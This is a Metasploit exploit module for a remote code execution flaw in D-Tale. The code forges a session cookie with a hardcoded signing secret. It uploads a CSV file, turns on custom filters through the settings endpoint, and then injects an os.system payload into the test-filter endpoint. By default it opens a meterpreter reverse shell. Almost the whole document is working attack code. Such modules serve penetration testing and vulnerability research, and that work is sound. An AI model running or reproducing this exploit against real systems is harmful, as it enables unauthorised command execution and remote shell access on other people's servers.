## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient prepend Msf::Exploit::Remote::AutoCheck # forge a cookie in case there was authentication enabled: # import hashlib # from itsdangerous import URLSafeTimedSerializer # pip install itsdangerous # signer_kwargs = { "key_derivation" : "hmac", "digest_method" : staticmethod(hashlib.sha1) } # ser = URLSafeTimedSerializer("Dtale", salt="cookie-session", signer_kwargs=signer_kwargs) # session = ser.dumps({"logged_in" : True, "username" : "whatever"}) SESSION = 'eyJsb2dnZWRfaW4iOnRydWUsInVzZXJuYW1lIjoid2hhdGV2ZXIifQ.Z8Jdmw.zUb6b2uEm9ZDKWIOsw2A1xLIuLc' def initialize(info = {}) super( update_info( info, 'Name' => 'D-Tale RCE', 'Description' => %q{ This exploit effectively serves as a bypass for CVE-2024-3408. An attacker can override global state to enable custom filters, which then facilitates remote code execution. Specifically, this vulnerability leverages the ability to manipulate global application settings to activate the enable_custom_filters feature, typically restricted to trusted environments. Once enabled, the /test-filter endpoint of the Custom Filters functionality can be exploited to execute arbitrary system commands. }, 'Author' => [ 'taiphung217', # Vulnerability discovery and PoC 'Takahiro Yokoyama' # Metasploit module ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2024-3408'], ['CVE', '2025-0655'], ['URL', 'https://huntr.com/bounties/f63af7bd-5438-4b36-a39b-4c90466cff13'], ], 'Platform' => %w[linux], 'Targets' => [ [ 'Linux Command', { 'Arch' => [ ARCH_CMD ], 'Platform' => [ 'unix', 'linux' ], 'Type' => :nix_cmd, 'DefaultOptions' => { # defaults to cmd/linux/http/aarch64/meterpreter/reverse_tcp 'PAYLOAD' => 'cmd/linux/http/x64/meterpreter_reverse_tcp' } } ], ], 'DefaultOptions' => { 'FETCH_DELETE' => true }, 'DefaultTarget' => 0, 'Payload' => { 'BadChars' => '\'"' }, 'DisclosureDate' => '2025-02-05', 'Notes' => { 'Stability' => [ CRASH_SAFE, ], 'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ], 'Reliability' => [ REPEATABLE_SESSION, ] } ) ) register_options( [ Opt::RPORT(40000), ] ) end def check res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'dtale/popup/upload'), 'headers' => { 'Cookie' => "session=#{SESSION}" # Set the JWT token as a cookie } }) return Exploit::CheckCode::Unknown unless res&.code == 200 html_document = res.get_html_document return Exploit::CheckCode::Unknown('Failed to get html document.') if html_document.blank? version_element = html_document.xpath('//*[@id="version"]/@value') return Exploit::CheckCode::Unknown('Failed to get version element.') if version_element.blank? version = Rex::Version.new(version_element&.text) return Exploit::CheckCode::Safe("Version #{version} detected, which is not vulnerable.") unless version <= Rex::Version.new('3.15.1') Exploit::CheckCode::Appears("Version #{version} detected.") end def exploit # Create a new MIME message (multipart form data) mime = Rex::MIME::Message.new # Add the file part to the body fname = "#{rand_text_alpha(3)}.csv" mime.add_part( "#{rand_text_alpha(1)},#{rand_text_alpha(1)}\n#{rand_text_numeric(1)},#{rand_text_numeric(1)}", 'text/csv', nil, "form-data; name=\"#{fname}\"; filename=\"#{fname}\"" ) # Add additional form data mime.add_part('true', nil, nil, 'form-data; name="header"') mime.add_part('comma', nil, nil, 'form-data; name="separatorType"') mime.add_part('', nil, nil, 'form-data; name="separator"') res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'dtale/upload'), 'ctype' => "multipart/form-data; boundary=#{mime.bound}", 'data' => mime.to_s, 'headers' => { 'Cookie' => "session=#{SESSION}" # Set the JWT token as a cookie } }) @data_id = res&.get_json_document&.fetch('data_id', nil) fail_with(Failure::Unknown, 'Failed to get data_id from response.') unless @data_id print_status("Use data_id: #{@data_id}") res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, "dtale/update-settings/#{@data_id}"), 'vars_get' => { 'settings' => { 'enable_custom_filters' => true }.to_json }, 'headers' => { 'Cookie' => "session=#{SESSION}" # Set the JWT token as a cookie } }) fail_with(Failure::Unknown, 'Failed to update the settings.') unless res&.get_json_document&.fetch('success', nil) print_status('Updated the enable_custom_filters to true.') send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, "dtale/test-filter/#{@data_id}"), 'vars_get' => { 'query' => "@pd.core.frame.com.builtins.__import__('os').system('#{payload.encoded}')", 'save' => true }, 'headers' => { 'Cookie' => "session=#{SESSION}" # Set the JWT token as a cookie } }) print_status('Successfully executed the payload.') end def cleanup super if @data_id res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'dtale/cleanup-datasets'), 'vars_get' => { 'dataIds' => @data_id }, 'headers' => { 'Cookie' => "session=#{SESSION}" # Set the JWT token as a cookie } }) print_status("Failed to clean up data_id: #{@data_id}") unless res&.get_json_document&.fetch('success', nil) print_status("Successfully cleaned up data_id: #{@data_id}") end end end